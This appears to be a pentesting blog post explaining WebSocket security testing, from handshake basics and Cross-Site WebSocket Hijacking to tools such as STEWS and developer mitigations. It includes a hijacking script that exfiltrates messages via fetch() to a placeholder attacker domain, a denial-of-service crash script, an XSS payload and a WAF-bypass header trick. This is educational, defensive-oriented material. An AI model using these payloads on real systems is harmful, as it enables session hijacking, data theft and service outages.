WEBSOCKETS-Everything You Need To Know About W3bsock3t Pentesting!!

WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. So they are mostly used in web application for streaming data.
The majority of communication between web browsers and websites is done using HTTP. This involves the client sending a request to the server, which then sends back a response. Usually, the response is received right away, and the transaction is finished. Even if the network connection remains open, it will be used for a different transaction involving a new request and response.
Certain contemporary websites utilize WebSockets, which are connections established over HTTP and tend to last for a significant duration. These connections allow for the exchange of messages in either direction at any given time, without being transactional in nature. Typically, the connection remains open and inactive until either the client or the server is prepared to transmit a message.

WebSockets are beneficial in situations that require quick response times or messages initiated by the server, such as receiving real-time updates of financial data
Basically, these connections are normally created using the client side JavaScript.
var ws = new WebSocket("wss://normal-website.com/chat");
The wss
protocol establishes a WebSocket over an encrypted TLS connection, while the ws
protocol uses an unencrypted connection.
An example of connection, how the browser and the server perform over HTTP:

And it replies with the message if the connection/server accept the connection and the response is the following:

After the connection is made and a message is sent from the client side, then it looks like this:
ws.send("Hi");
Or
{
"message":"HI"
}
Several features of the WebSocket handshake messages are worth noting:
- The
Connection
andUpgrade
headers in the request and response indicate that this is a WebSocket handshake. - The
Sec-WebSocket-Version
request header specifies the WebSocket protocol version that the client wishes to use. This is typically13
. - The
Sec-WebSocket-Key
request header contains a Base64-encoded random value, which should be randomly generated in each handshake request. - The
Sec-WebSocket-Accept
response header contains a hash of the value submitted in theSec-WebSocket-Key
request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies. - So we have option where we can use the proxy intercept tab to intercept the messages and modify and also from the repeater we can send the message over and over agian to see the response we can also decide whether we want to send the request to server or client
- Manipulating the web socket connection is necessary to manipulate or the handshake that establishes the connection. There is necessity as It can enable you to reach more attack surface.
- Some attacks might cause your connection to drop, so you need to establish a new one.
- Tokens or other data in the original handshake request might be stale and need updating.

How to Detect + Exploit
To identify a WebSocket vulnerability on the application, followings can be done:
- Does the application allow the communication using ws instead of wss?
- Is there an input validation in place for the message sent?
- Is the Origin header being checked or can you write your own domain there? (try to exploit it if there is no randomized CSRF token in the GET request)
- Is it possible to send unrestricted cross domain calls to lead to DoS attacks?
Using a WebSocket client, attempt to connect to the remote WebSocket server. If a connection is established, the server may not be checking the origin header of the WebSocket handshake.
Some of the most common security weaknesses can be listed as follows:
- Unencrypted Communications
- Cross-Site WebSocket Hijacking (CSRF with WebSockets)
- Sensitive information disclosure over network
- Denial of Service
- Cross-Site Scripting
Let’s understand some of them:
Cross-Site WebSocket Hijacking (CSRF with WebSockets)
In case WebSocket handshake relies on HTTP cookies for the session and doesn’t include a CSRF token, an attacker can create a custom script to establish a cross-site WebSocket connection on their own domain for the vulnerable application. It’s possible for an attacker to extract sensitive information using this attack method.
A common script that can be used for exploitation of this vulnerability can be found below:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retrieve confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Unencrypted Communications / Sensitive Information Disclosure Over Network
The WebSockets protocol aka WS is a plain-text protocol just like HTTP. In case of the use, it’s possible for an attacker to capture and modify the traffic over the network.
In order to test if the plain-text communication is allowed, the following tool can be used:
Besides testing with a browser using ws://, you can also test if the application supports plain-text communication with ws by using online tools.
Denial of Service:
WebSockets allow unrestricted cross domain calls by default which leads to DoS vulnerabilities. Following is a common script that crashes the WebSocket server which affects some ws client versions:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Input-Validation Vulnerabilities
In case the input validation is weak on WebSocket user input, it’s possible to trigger injection attacks using WebSocket vulnerabilities such as XSS, SQL injection, XXE, etc.
For the sake of this example, imagine there is a chat application which uses Websockets that we are testing. When the user types a message, it can be sent in the following format:
{“message”:”Hello world”}
In case there is no input validation in place, (or a weak filter to be bypassed) an attacker can intercept the request with a web proxy (Burp in this case) to trigger an XSS pop-up by replacing their own payload:
{"message":"<img src=1 onerror='alert(1)'>"}
For WAF bypass use “X-Forwarded-For: 1.1.1.1” Header.
Basically the Above method is used when there is a WAF, and we have to bypass them, so first we all have to establish a connection and send the payload then it will basically show a response that the IP has been blacklisted, so now we have to bypass it using the above method and then send the payload again. Please keep a note when the address is showing restricted try to perform further in repeater and simultaneously try to reconnect to server using the X-Forwarded-For: 1.1.1.1/25 so on and then after reconnection send a websocket msg with the payload if there is no reply try different a lot of payloads. I prefer <img src=1 oNeRrOr=alert1
>

Cross-Site WebSocket Hijacking (CSWSH)
(in depth)
The WebSocket protocol requires a handshake to establish a full-duplex communication channel. This handshake upgrades the communication protocol from HTTP to WebSocket, but it is also a weak point in terms of security, especially when dealing with sensitive data. A typical life cycle for a WebSocket client-server interaction goes like this:
- The client starts a connection by sending an HTTP(S) WebSocket handshake request.
- The server responds with a handshake response (which is handled by the web application server without the application knowing) and sends a status code of 101 Switching Protocols.
After establishing a connection, the browser and server use the WebSocket API to communicate in a symmetrical manner, allowing both parties to send and receive text and binary messages. This is defined by the HTML5 WebSocket API specification and the WebSocket Protocol RFC 6455.
We will examine the handshake request and analyze the request headers to upgrade the protocol to WebSockets in a hypothetical stock portfolio management application. This application uses WebSockets to efficiently send real-time stock quotes to logged-in users and receive stock orders from them.
"GET /trading/ws/stockPortfolio HTTP/1.1"
Host: www.some-trading-application.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Sec-WebSocket-Version: 13
Origin: https://www.some-trading-application.com
Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q==
Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
The authentication data, such as the Cookie header, is sent along with the upgrade handshake in the HTTP(S) request headers. This is in accordance with the specification and RFC for browsers. The same applies to HTTP-Authentication data. After a successful WebSocket handshake, the server responds with a 101 Switching Protocols status code, indicating that a ws:// or wss:// connection has been established between the browser and server. The Sec-WebSocket-Key header is used in the handshake process to ensure that the server has correctly received and understood the request, and it is generated automatically by the browser initiating the WebSocket request.
Now, let’s think about the outcome when a developer adopts the widely-used approach of utilizing session cookies for authenticating the WebSocket handshake/upgrade request in a secure section of a web application where users are logged in. An attacker can exploit the lack of same-origin policy in WebSockets to send a malicious request to a vulnerable application, even from a different webpage. This request can include cookies and HTTP-Authentication headers from the browser. Take a looks how a malicious website can access a trading application’s WebSocket endpoint and stock portfolio information if the victim is logged in while visiting the malicious site. It provides an example of how this can be done by accessing the trading application’s WebSocket endpoint from a malicious webpage.
"GET /trading/ws/stockPortfolio HTTP/1.1"
Host: www.some-trading-application.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Sec-WebSocket-Version: 13
Origin: https://www.some-evil-attacker-application.com
Sec-WebSocket-Key: hP+ghc+KuZT2wQgRRikjBw==
Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
In this scenario, the browser sends authentication information, such as a session cookie, during the WebSocket handshake. This creates a vulnerability similar to a Cross-Site Request Forgery (CSRF) attack. However, in the WebSocket scenario, the attack goes beyond a write-only CSRF attack and allows the attacker to establish a new WebSocket connection using the victim’s authentication data. This attack vector is known as Cross-Site WebSocket Hijacking (CSWSH).
As a result, the attacker can read the victim’s stock portfolio updates transmitted through the WebSocket connection and make changes by sending write requests through the WebSocket connection. The server’s WebSocket code relies on the session authentication data provided by the browser during the WebSocket handshake, enabling this unauthorized access.
Another interesting aspect is the Origin header sent during the WebSocket handshake. In regular HTTP(S) CORS requests, if the server doesn’t explicitly allow cross-origin requests, the browser prevents JavaScript on a malicious webpage from accessing the response. However, with WebSockets, the default behavior is inverted: even without proper CORS response headers, the browser establishes the WebSocket connection and allows access to the response. This demonstrates that WebSockets are not protected by the same-origin policy (SOP), and developers should not rely on SOP for WebSocket-based applications. It’s important for server-side code to check the Origin header, even though it may seem unrelated to CORS. Must See this Command Line Tool.

TOOLS
Websocket Debugger(wsd)
Simple command line utility for debugging WebSocket servers.
Installation:-
$ go get github.com/alexanderGugel/wsd
Usage:-
Usage of ./wsd:
-help
Display help information about wsd
-insecureSkipVerify
Skip TLS certificate verification
-origin string
origin of WebSocket client (default "http://localhost/")
-protocol string
WebSocket subprotocol
-url string
WebSocket server address to connect to (default "ws://localhost:1337/ws")
-version
Display version number```
## Why?
Debugging WebSocket servers should be as simple as firing up `cURL`. No need
for dozens of flags, just type `wsd -url=ws://localhost:1337/ws` and you're
connected.
Websocket Fuzzer
A simple websocket fuzzer for application penetration testing.
Three tools are provided:
websocket-fuzzer.py
: Receives a websocket message, modifies it, and then sends it in different connections. The response is analyzed to find potential vulnerabilities.send-one-message.py
: Sends a websocket message using a new connectionanalyze-output.py
: Analyzes the data generated bywebsocket-fuzzer.py
Installation and Usage
pip install -r requirements.txt
# edit send-one-message.py
python send-one-message.py
The workflow for these tools is fairly simple:
- Use
send-one-message.py
to define most of the variables, make sure that authentication is working, etc. Confirm all this with the logs and traffic seen in the local proxy. - Move the
send-one-message.py
configuration towebsocket-fuzzer.py
and customize the remaining parameters. Start the process and confirm that the fuzzer is sending what you expect. - Customize the payloads which are sent to the target using
payloads/payloads.txt
- The
websocket-fuzzer
will store the logs in text files with this format:output/{token-id}/{connection-id}-{message-number}.log
. Thetoken-id
identifies the section of the fuzzed message that was modified. Grouping bytoken-id
helps theanalyze-output.py
tool identify vulnerabilities. - Analyze the logs using
grep
to find specific things you’re looking for, oranalyze-output.py
for a more generic analysis.
Websocket-harness
The Python library websocket-harness is commonly used in Networking and Websocket applications. It is known for being bug-free and secure, but it lacks extensive support. However, the build file for websocket-harness is not currently accessible, but you can obtain it from GitHub. This script in Python can act as a mediator between conventional web penetration testing tools and WebSocket connections. It converts HTTP to WebSocket and vice versa.
Think of it like a fuzzing harness that is used for native code.
Example: python websocket-harness.py -p 8000 -u ws://dvws.local:8080/authenticate-user
In the example above, the WebSocket harness will listen on local loop back, and forward any HTTP POST requests to the target WebSocket endpoint (ws://dvws.local:8080/authenticate-user).
Browser Websocket Tools:-
See Also:-


STEWS: Security Testing and Enumeration of Websockets
Best Tool in the market by Palindrome labs
This tool in a suite for testing of web sockets, and it has the ability to Discover, fingerprint and also vulnerability detection. This tool is so popular in the market because there is lack of support and scriptable web socket testing tools. It mainly focuses on their major hurdles which were Discover, fingerprint and also vulnerability detection.
The 3 Key Steps in web sockets security testing :
- Discovery
- Fingerprinting
- Vulnerability Detection
STEWS DISCOVERY TOOL
The STEWS discovery tool uses a modified version of ZGrab2 to check if a URL supports WebSockets by sending a WebSocket connection handshake. If the server responds with an HTTP 101 “Switching Protocols” response, it means that the server supports WebSockets. The tool uses a brute-force method with a word list to find WebSocket endpoints because they may only be accessible at specific paths. By sending many handshake requests and filtering for servers with a 101 status code, the tool can discover many WebSocket endpoints. However, there are some weaknesses to this method. ZGrab2 is a software that is still being developed and has made some improvements in handling HTTP requests. However, it was initially designed to work at the TCP/IP layer and may not be efficient for high throughput DNS lookups. Here’s a great GitHub repository.
WebSockets rely on HTTP to establish a connection, but simply looking at HTTP traffic does not necessarily mean a WebSocket is being used. Many websites use JavaScript to initiate WebSockets, so the WebSocket endpoints may not always be found by parsing HTML. This is because sometimes the WebSocket endpoint is a separate API and is not directly linked to the main website. WebSockets can only be accessed at a specific URL path and port of the endpoint.
The process of finding WebSockets on a specific website involves spidering the website’s HTML and searching for WebSocket keywords in the source code. However, this method can result in false positives. Another approach is to spider the website and load all JavaScript, then watch for HTTP 101 responses. This method is slower due to the loading of all JavaScript. Acquiring large lists of URLs can be done through Googling “Top million URLs” or using Zone Files, which are used by DNS servers for lookups. However, many URLs in the zone file may not be active. To find WebSockets on any website, a common WebSocket endpoint wordlist can be used to brute force a large list of websites.
However, this method only tests the endpoints in the wordlist. Other difficulties include the large number of DNS lookups, which can be a bottleneck due to rate limits on DNS servers. Using multiple DNS servers or performing DNS lookups beforehand can help mitigate this issue. Additionally, obtaining a wordlist of probable WebSocket paths for brute forcing requires manual effort, such as finding known WebSocket endpoints through random browsing, bug bounty reports, and reading GitHub WebSocket repository issues.
There are difficulties in scalable WebSocket endpoint discovery:-
- Tools like masscan and zmap are fast at endpoint detection, but they operate at the TCP/IP layer while WebSocket discovery requires operating at the HTTP/WebSocket layer.
- Burp Suite’s Turbo Intruder is fast at the HTTP layer, but it is designed for sending lots of requests to a single host, not testing many hosts.
- ZGrab2 is a fast application-layer scanner, but it requires tweaks to support WebSocket requests.
Usage and dependencies
The STEWS-discovery.sh
script is a bash script tested on Linux. The only dependencies are jq and a zgrab2 binary from the custom Palindrome Technologies zgrab2 fork (a working binary can be downloaded from here).
The script uses the known-endpoints.txt
by default (these known WebSockets servers are part of bug bounty programs), but any text file of domains can be provided as input.
The STEWS-discover.sh
script can be modified to view additional information about each server. For example, adding .data.http.result.response.headers
to the values provided to jq
will output the headers from each server.
Command:- bash STEWS-discovery.sh
STEWS Fingerprinting Tool
There are several popular WebSocket servers available in different programming languages such as C++, Go, JavaScript, Python, and Java. Unlike other fingerprinting tools that handle only one protocol, WebSocket servers handle both HTTP and WebSocket protocols. WebSocket servers usually listen at a specific URL path, unlike other tools that query specific URL paths. To identify WebSocket server features, a deterministic fuzzer can be used to test different aspects such as supported protocol versions, reserved and opcode bit support, verbose error messages, and default maximum data length. There are over 50 test cases available for STEWS fingerprinting, including:-
- -a, –all-tests Run all tests
- -1, –series-100 Run the 100-series (opcode) tests
- -2, –series-200 Run the 200-series (rsv bit) tests
- -3, –series-300 Run the 300-series (version) tests
- -4, –series-400 Run the 400-series (extensions) tests
- -5, –series-500 Run the 500-series (subprotocols) tests
- -6, –series-600 Run the 600-series (long payloads) tests
- -7, –series-700 Run the 700-series (hybi and similar) tests
Usage
First, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt
. Then if you run python3 STEWS-fingerprint.py -h
you will be greeted by the following options:

WebSockets Vulnerability Detection
The STEWS tool helps users check if a WebSockets endpoint is at risk of known CVEs or other vulnerabilities.
The tool currently supports tests for vulnerabilities including:
- CSWSH (Cross-Site WebSocket Hijacking)
- CVE-2020-27813 (Gorilla DoS Integer Overflow)
- CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)
- CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)
Usage:-
First, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt
. Then if you run python3 STEWS-vuln-detect.py -h
you will be greeted by the following options:

Test 1 provides a generic CSWSH test. This can be used in combination with the -o
flag to specify a specific origin to attempt to bypass any server-side checks.
Tests 2, 3, and 4 check for specific CVEs. The test cases for these were created based on the PoC code published as part of the discovery of these CVEs. For example, to run test 4 on a local server on port 8084, you can run: python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084
WebSocket Library Vulnerabilities

A longer list of WebSocket server CVEs found in here.
Demo:
STEWS Fingerprint Local Server Demo

STEWS Fingerprint Public Server Demo


Mitigation
— Let’s Discuss
- As we are aware of the labs, For handshake requests, use session individual random tokens, like CSRFTokens, and verify them on the server.
- Always use the wss:// Protocol, as its an encrypted one( Web socket over TLS).
- Use of rate limiting based on IP.
- Also make sure to verify the origin header since the origin header is designed to protect the server against the attacker-who initiated a cross site connection to victim browser.
- Make sure to hard-code the URL of the web socket endpoint .
- Treat data received via the WebSocket as untrusted in both directions. Handle data safely on both the server and client ends, to prevent input-based vulnerabilities such as SQL injection and cross-site scripting.
- As a developer :-
- It is important to be familiar with this type of attack and know how to use countermeasures properly in your application, especially when accessing non-public data through WebSockets. It is recommended to avoid accessing the web session through the server-side WebSocket and instead use tokens or other authentication techniques within the WebSocket protocol.
Refrences:-
https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh
https://github.com/joewalnes/websocketd
https://github.com/PalindromeLabs/STEWS
https://christian-schneider.net/CrossSiteWebSocketHijacking.html
https://medium.com/r3d-buck3t/bypass-ip-restrictions-with-burp-suite-fb4c72ec8e9c
https://datatracker.ietf.org/doc/html/rfc6455
https://github.com/0ang3el/websocket-smuggle
https://snikt.net/blog/2019/05/22/to-fuzz-a-websocket/
https://github.com/PalindromeLabs/STEWS/blob/main/WebSockets_AppSec_US_2021_Presentation.pdf
https://github.com/0ang3el/websocket-smuggle/blob/master/Hacktivity2019.pdf
Read our Previous Blogs.
If you enjoyed this blog post, share it with your friends and colleagues!!
Recent Comments